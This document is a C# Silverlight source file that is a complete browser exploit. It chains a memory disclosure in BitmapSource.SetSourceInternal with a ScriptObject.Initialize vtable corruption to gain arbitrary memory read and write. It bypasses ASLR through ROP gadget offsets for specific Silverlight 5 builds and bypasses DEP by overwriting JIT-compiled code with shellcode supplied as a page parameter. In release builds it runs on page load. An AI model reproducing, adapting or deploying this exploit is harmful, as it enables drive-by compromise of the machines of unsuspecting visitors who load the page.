﻿using System;
using System.Windows;
using System.Windows.Controls;
using System.Windows.Documents;
using System.IO;
using System.Windows.Media.Imaging;
using System.Resources;


namespace SilverApp1
{
    // declare custom MemoryStream w/ malicious Read()
    public class   
         MyStream : MemoryStream
    {    
        // raw PNG image data w/o PLTE chunk data // not the shellcode :)
        static byte[] pngStart = {
            0x89,0x50,0x4E,0x47,0x0D,0x0A,0x1A,0x0A, // PNG header 
            0,0,0,0x0D,0x49,0x48,0x44,0x52,0,0,0,0x08,0,0,0,0x04,0x08,0x03,0,0,0,0x84,0x13,0x8E,0xC2, // IHDR chunk
            0,0,0x03,0,0x50,0x4C,0x54,0x45 // PLTE chunk header
        };
        static byte[] pngEnd = {
            0,0,0,0, // PLTE chunk checksum can be 0      
            0,0,0,0x2F,0x49,0x44,0x41,0x54,0x78,0xDA,0x01,0x24,0,0xDB,0xFF,0,0,0x01,0x02,0x03,0x04,0x05,0x06,0x07,0,0x08,0x09,0x0A,0x0B,0x0C,0x0D,
            0x0E,0x0F,0,0x10,0x11,0x12,0x13,0x14,0x15,0x16,0x17,0,0x18,0x19,0x1A,0x1B,0x1C,0x1D,0x1E,0x1F,0x17,0x1C,0x01,0xF1,0x7D,0xBE,0xC7,0x66, // IDAT chunk
            0,0,0,0,0x49,0x45,0x4E,0x44,0xAE,0x42,0x60,0x82 // IEND chunk
        };
        
        Object[] obj;
        public byte[] png;
        public int offs;

        // create Stream basing on pngStart[]
        public MyStream() : base(pngStart)
        {
        }

        int ReadBuf(byte[] buffer, int offset, int count)
        {         
            // calc true PNG image length
            int res = pngStart.Length + 0x300 + pngEnd.Length;

            base.Read(buffer, offset, count); // (count = buffer.Length) < res
            MainPage.LogAdd("MyStream.Read(["+buffer.Length+"],"+offset+","+count+") = " + res);
            return res;
        }

        // override Read()
        public override int Read(byte[] buffer, int offset, int count)
        {
            // allocate arrays sequentially in memory
            int len = pngEnd.Length;
            obj = new object[] { null, null };	// as PLTE data
            png = new byte[0x300 + len - offs]; // as rest PNG data
            MainPage.buf = new uint[3];			// the target array for memory corruption
            MainPage.obj = new object[3];		// aux array

            // copy the trail PNG data		
            Array.Copy(pngEnd, 0, png, png.Length-len, len);

            // save pointers in PLTE data
            obj[0] = png;
            obj[1] = MainPage.buf;

            // return "bytes read" > "count" to trigger the memory disclosure
            return ReadBuf(buffer, offset, count);
        }
    }

    // declare descendant for System.Windows.Browser.ScriptObject to access vulnerable protected Initialize()
    public class MyObject : System.Windows.Browser.HtmlObject
    {
        public MyObject()
            : base()
        {
        }

        // access protected Initialize()
        public void Init(IntPtr handle)
        {
            MainPage.LogAdd("ScriptObject.Initialize(" + MainPage.Hex((ulong)handle) + ", 1, true, false)");
            Initialize(handle, (IntPtr)1, true, false); // call agcore.dll DOM_ReferenceObject()
        }
    }


    public partial class MainPage : UserControl
    {
        public static RichTextBox tbox;
        public static uint[] buf;
        public static ulong bufAddr;
        public static object[] obj;
        public static bool is64;
        public static Version vsn;
        public static byte[] payload;

        public MainPage(System.Collections.Generic.IDictionary<string, string> iDictionary)
        {
#if DEBUG
            InitializeComponent();
			tbox = richTxtBox;
#endif
            // print environment info
            vsn = Environment.Version;
            LogAdd("Silverlight: " + vsn.ToString() + "\n" + "OS: " + Environment.OSVersion.ToString());
            payload = Convert.FromBase64String(iDictionary["payload"]);
            LogAdd(String.Format("Payload decoded length: {0}", payload.Length));
#if !DEBUG
            //TODO: First try doesn't overwritte Payload(), need to dig why, should...
            exploit(); 
            exploit();
#endif
        }

        // prints message into richTextBox
        public static void LogAdd(string txt)
        {
#if DEBUG
			Paragraph p = new Paragraph();
			p.Inlines.Add(txt);
			tbox.Blocks.Add(p);	
#endif
        }

        public static void LogAdd(object obj)
        {
#if DEBUG
            LogAdd(obj == null ? "null" : obj.ToString());
#endif
        }

        // converts int to hex string
        public static string Hex(int u)
        {
            return u <= 9 ? u.ToString() : "0x" + u.ToString("X");
        }

        public static string Hex(ulong u)
        {
            return u <= 9 ? u.ToString() : "0x" + u.ToString("X");
        }

        // reads pointer from byte[]
        public static ulong ReadAddr(byte[] b, int offs)
        {
            ulong u = 0;
            for(int i=offs, j=0; i < offs + (is64 ? 8:4); i++, j+=8) u += ((ulong)b[i]) << j;
            return u;
        }

        // writes pointer into byte[]
        public static void WriteAddr(byte[] b, int offs, ulong u)
        {
            for (int i = offs; i < offs + (is64 ? 8:4); i++, u >>= 8) 
                b[i] = (byte)(u & 0xff);      
        }

        // exploits memory disclosure in BitmapSource.SetSourceInternal()
        ulong MemoryDiscl()
        {
            try
            {
                // prepare malicious MemoryStream
                MyStream ms = new MyStream();
 
                // create image based on stream data and data "outside" the stream
                BitmapImage bi = new BitmapImage();	
                ms.offs = 39;		// set offset for 32 bit environment
                bi.SetSource(ms);	// call the vulnerable SetSourceInternal()

                // check png data parsing results
                is64 = bi.PixelWidth == 0 || bi.PixelHeight == 0;
                if (is64) { // error, ok lets try again with the offset for 64 bit
                    ms.offs = 79; 
                    bi.SetSource(ms);
                }

                // check png data parsing results
                if (bi.PixelWidth == 0 || bi.PixelHeight == 0) throw new Exception("Bad PNG data"); // error png parsing

                // ok, now we should pass the diclosed memory into WriteableBitmap to access it as RGB pixel data
                WriteableBitmap wb = new WriteableBitmap(bi);
                LogAdd(wb);

                // read pixels from image
                int[] p = wb.Pixels;
                int len = p.Length;
                LogAdd(String.Format("pixels available to read: {0}", len));
                string s = " ";
                for (int i = 0; i < len; i++) {
                    s = p[i].ToString("X").Substring(2);
                    LogAdd(String.Format("pixel[{0}] = {1}", i, s));
                }

                // convert int[] to byte[]
                byte[] b = new byte[len * 3];
                int k;
                for (int i = is64 ? 5:2, j=0; i < len; i++, j+=3)
                {    
                    k = p[i] & 0xffffff;
                    b[j + 2] = (byte)(k & 0xff); k >>= 8;
                    b[j + 1] = (byte)(k & 0xff); k >>= 8;
                    b[j + 0] = (byte)(k & 0xff); k >>= 8;
                }

                // parse memory addresses from b[]
                ulong hMod  = ReadAddr(b, is64 ?  0:1);		// type pointer for obj[] // we'll need it for mscorlib.ni.dll image base calculation for the ASLR bypass
                ulong addr1 = ReadAddr(b, is64 ? 24:13);	// obj[0] = address of png[]
                bufAddr     = ReadAddr(b, is64 ? 32:17);	// obj[1] = address of MainPage.inst.buf[]

                LogAdd("obj[] type = " + Hex(hMod) + ",  png[] address = " + Hex(addr1) + ",  buf[] address = " + Hex(bufAddr));

                // calc the ROP offset inside mscorlib.ni.dll
                // * x86
                // 7997526b 83493440        or      dword ptr [ecx+34h],40h
                // 7997526f b801000000      mov     eax,1
                // 79975274 c20400          ret     4
                // * x64
                // 000007fe`f03e19d0 895168          mov     dword ptr [rcx+68h],edx
                // 000007fe`f03e19d3 c3              ret
                if (Environment.OSVersion.Platform != PlatformID.Win32NT) throw new Exception("Sorry, but the further code works for Windows only.");
                ulong rop = 0;
                if (vsn.Major == 5 && vsn.Build == 10411) 
                {
                    rop = (hMod & 0xffffffffffff0000) - (ulong)(is64 ? 0x670000 - 0x4519D0 : 0x470000 - 0x2A526B);
                }
                else if (vsn.Major == 5 && vsn.Build == 61118) 
                {
                    rop = (hMod & 0xffffffffffff0000) - (ulong)(is64 ? 0x670000 - 0x4519D0 : 0x470000 - 0x2A520F);
                } 

                if (rop == 0) throw new Exception("Sorry, but the further code works for vulnerable 5 builds only.");

                // calc object pointer offset inside png2[]
                ulong addr2 = bufAddr - (ulong)(is64 ? 96:45);
                k = (int)(addr2 - addr1) - (is64 ? 16:8);

                // write vtable pointer
                WriteAddr(ms.png, k, addr2);
                // write address of ROP gadget
                WriteAddr(ms.png, k + (is64 ? 8:4), rop);

                // ok, return the pointer for ScriptObject.Initialize() exploitation
                return addr2;
            }
            catch (Exception ex)
            {
                LogAdd("Error: " + ex.ToString());
            }

            return 0;
        }

        class ShellHelper32 : Random
        {
            // x32 shellcode
            uint[] payload;

            // PreCondition : arr.Lenth % 4 == 0
            public virtual void SetPayload(byte[] arr)
            {
                payload = new uint[arr.Length / 4];
                for (int i = 0, k = 0; i < arr.Length; i += 4, k += 1)
                {
                    payload[k] = BitConverter.ToUInt32(arr, i);
                }
            }

            // read uint from memory address
            uint Get(uint addr)
            {
                if (addr > 0x10000) return buf[(addr - (uint)bufAddr - 8) >> 2]; else return 0;
            }

            // write uint into memory address
            void Set(uint addr, uint val)
            {
                if (addr > 0x10000) buf[(addr - (uint)bufAddr - 8) >> 2] = val;
            }

            // exchange two uint arrays
            void Exchange(uint addr, uint[] arr)
            {
                uint u; 
                int len = arr.Length;
                for (int i=0; i < len; i++, addr += 4) {
                    u = Get(addr); Set(addr, arr[i]); arr[i] = u;
                }
            }

            // declare virtual function for the further DEP bypass
            public virtual int Payload()
            {
                // generate dummy JIT-code
                if (this == null) LogAdd(ToString());
                if (this == null) LogAdd(ToString());
                if (this == null) LogAdd(ToString());
                if (this == null) LogAdd(ToString());
                if (this == null) LogAdd(ToString());
                LogAdd("Payload() hit!");
                return 0;
            }

            public virtual void Exec(int oldLen)
            {
                try {
                    // generate JIT-code for Payload()
                    Payload();

                    // save pointers within obj[] array after buf[]	
                    obj[0] = buf;
                    obj[1] = this;

                    // find obj[] array and "this" pointer after buf[] 
                    uint addr = 0;
                    for (int i = 2; i < 64; i++)
                        if (buf[i] == (uint)bufAddr) { addr = buf[i+1]; break; }

                    if (addr == 0) throw new Exception("Can't find obj[]");

                    // get (this.type + 2c) -> (vtable + 8) -> Payload() address
                    addr = Get(Get(Get(addr) + 0x2c) + 8);
                    //for (uint i = 0; i < 16; i++) LogAdd(Hex(Get(addr + i*4))); // for RnD
                    LogAdd("Payload() address = " + Hex(addr));
                    if (addr == 0) throw new Exception("Can't find Payload() address");

                    // copy payload over JIT-code memory
                    addr -= addr % 4;
                    Exchange(addr, payload);

                    uint contents = Get(addr);

                    LogAdd("Payload() Address " + Hex(addr) + ", Contents: " + Hex(contents));

                    LogAdd("Executing payload...");
                    // exec payload
                    int res = Payload();

                    // restore JIT memory
                    //Exchange(addr, payload);

                    LogAdd("Payload() returns " + Hex(res));
                }
                catch (Exception ex) {
                    LogAdd("Error: " + ex.ToString());
                }

                // restore buf[] length
                buf[0x40000000-1] = (uint)oldLen;
                LogAdd("buf.Length = " + Hex(buf.Length));
            }
        }

        class ShellHelper64 : ShellHelper32
        {
            // x64 shellcode
            byte[] payload;

            public override void SetPayload(byte[] arr)
            {
                payload = new byte[arr.Length];
                for (int i = 0; i < arr.Length; i += 1)
                {
                    payload[i] = arr[i];
                }
            }

            UnmanagedMemoryStream ums;
            ulong umsAddr;
            byte[] bb;

            // read ulong from x64 memory address
            ulong Get(ulong addr)
            {
                if (addr < 0x10000) return 0;

                addr = (addr - bufAddr - 8) >> 2;
                return ((ulong)buf[addr+1] << 32) + buf[addr];
            }

            // write ulong into x64 memory address
            void Set(ulong addr, ulong val)
            {
                if (addr < 0x10000) return;

                addr = (addr - bufAddr - 8) >> 2;
                buf[addr] = (uint)val;
                buf[addr+1] = (uint)(val >> 32);
            }

            // read ulong from x64 memory address using ums
            ulong Read(ulong addr)
            {
                if (addr < 0x10000) return 0;

                // set ums._mem pointer
                Set(umsAddr + 8, addr);

                // read ulong from ums
                ums.Position = 0;
                ums.Read(bb, 0, 8);
                return ReadAddr(bb, 0);
            }

            // write ulong into x64 memory address using ums
            void Write(ulong addr, ulong val)
            {
                if (addr < 0x10000) return;

                // set ums._mem pointer
                Set(umsAddr + 8, addr);

                // write ulong into ums
                ums.Position = 0;
                WriteAddr(bb, 0, val);
                ums.Write(bb, 0, 8);
            }

            // exchange two byte[] arrays
            void Exchange(ulong addr, byte[] arr)
            {
                int len = arr.Length;
                byte[] b = (byte[])arr.Clone();

                // set ums._mem pointer
                Set(umsAddr + 8, addr);

                // read byte[] from ums
                ums.Position = 0;
                ums.Read(arr, 0, len);

                // write byte[] into ums
                ums.Position = 0;
                ums.Write(b, 0, len);
            }

            public override void Exec(int oldLen)
            {
                try {
                    // generate JIT-code for Payload()
                    Payload();

                    // create UnmanagedMemoryStream
                    ResourceManager rm = new ResourceManager("System.Windows.g", typeof(Control).Assembly);
                    ums = rm.GetStream("themes/generic.xaml");
                    LogAdd(ums);
                    if (ums == null) throw new Exception("Can't find themes/generic.xaml");

                    // save pointers within obj[] array after buf[]		
                    obj[0] = buf;
                    obj[1] = this;
                    obj[2] = ums;

                    // find obj[] array after buf[] 
                    ulong addr = 0; 
                    for (int i = 3; i < 64; i++)
                        if (buf[i] == (uint)bufAddr) {
                            addr = ((ulong)buf[i+3] << 32) + buf[i+2];				
                            umsAddr = ((ulong)buf[i+5] << 32) + buf[i+4]; 

                            // ensure that ums was allocated after buf[]
                            for (int j = 0; j < 100 && bufAddr > umsAddr; j++) {
                                ums = rm.GetStream("themes/generic.xaml");
                                obj[2] = ums;
                                umsAddr = ((ulong)buf[i+5] << 32) + buf[i+4]; 
                            }

                            break; 
                        }

                    if (addr == 0) throw new Exception("Can't find obj[]");
                    LogAdd("ums address = " + Hex(umsAddr));
                    if (bufAddr > umsAddr) throw new Exception("Can't allocate ums after buf[]");

                    //for (uint i = 0; i < 10; i++) LogAdd(Hex(Get(umsAddr+i*8))); // for RnD

                    // set ums._access private field to FileAccess.ReadWrite = 3
                    Set(umsAddr + 6*8, 0x300000003);
                    LogAdd("ums.Length = " + ums.Length + ", CanRead = " + ums.CanRead + ", CanWrite = " + ums.CanWrite + ", CanSeek = " + ums.CanSeek);
                    if (!ums.CanRead || !ums.CanWrite) throw new Exception("Can't access ums");

                    // ok, we have UnmanagedMemoryStream with controlable private fields, 
                    // so we can set any custom ums._mem pointer and read/write data starting from this pointer

                    // get (this.type + 72) -> (vtable + 16) -> Payload() address
                    bb = new byte[8];
                    addr = Read(Read(Read(addr) + 9*8) + 16);
                    //for (uint i = 0; i < 16; i++) LogAdd(Hex(Read(addr + i*8))); // for RnD
                    LogAdd("Payload() address = " + Hex(addr));
                    if (addr == 0) throw new Exception("Can't find Payload() address");

                    // copy payload over JIT-code memory
                    Exchange(addr, payload);

                    // exec payload
                    int res = Payload();

                    // restore JIT memory
                    //Exchange(addr, payload);

                    LogAdd("Payload() returns " + Hex(res));			
                }
                catch (Exception ex) {
                    LogAdd("Error: " + ex.ToString());
                }

                // restore buf[] length
                if (bb != null) {
                    Write(bufAddr + 8, (ulong)oldLen);
                    LogAdd("buf.Length = " + Hex(buf.Length));
                }
            }
        }

        void exploit()
        {
            try
            {
                LogAdd("------------ START ------------");
                // prepare pointer for ScriptObject.Initialize()
                ulong h = MemoryDiscl();
                LogAdd("handle = " + Hex(h));
                if (h == 0) throw new Exception("Something is wrong with the memory disclosure");

                // save old length
                int oldLen = buf.Length;
                LogAdd("buf.Length = " + Hex(oldLen));

                // call ScriptObject.Initialize() and cause the buf.Length corruption 
                MyObject mo = new MyObject();
                mo.Init((IntPtr)h); // call agcore.dll DOM_ReferenceObject(h)

                // check results
                int len = buf.Length;
                LogAdd("buf.Length = " + Hex(len));
                if (len == oldLen) throw new Exception("Something is wrong with buf.Length");

                // ok, now we have an uint[] array with Length > 0x40000000, so we can read/write arbitrary memory addresses on x32,
                // but this is not allways enough for x64. So for 64-bit we have to use different technique to gain the true "god mode".
                ShellHelper32 sh;
                if (is64)
                {
                    sh = new ShellHelper64();
                    sh.SetPayload(payload);
                }
                else
                {
                    sh = new ShellHelper32();
                    sh.SetPayload(payload);
                }

                // execute payload
                sh.Exec(oldLen);

                LogAdd("------------  END  ------------");
            }
            catch (Exception ex)
            {
                LogAdd("Error: " + ex.ToString());
            }
        }


        void btnClickMe_Click(object sender, RoutedEventArgs e)
        {
#if DEBUG
            exploit();
#endif
        }
    }

}
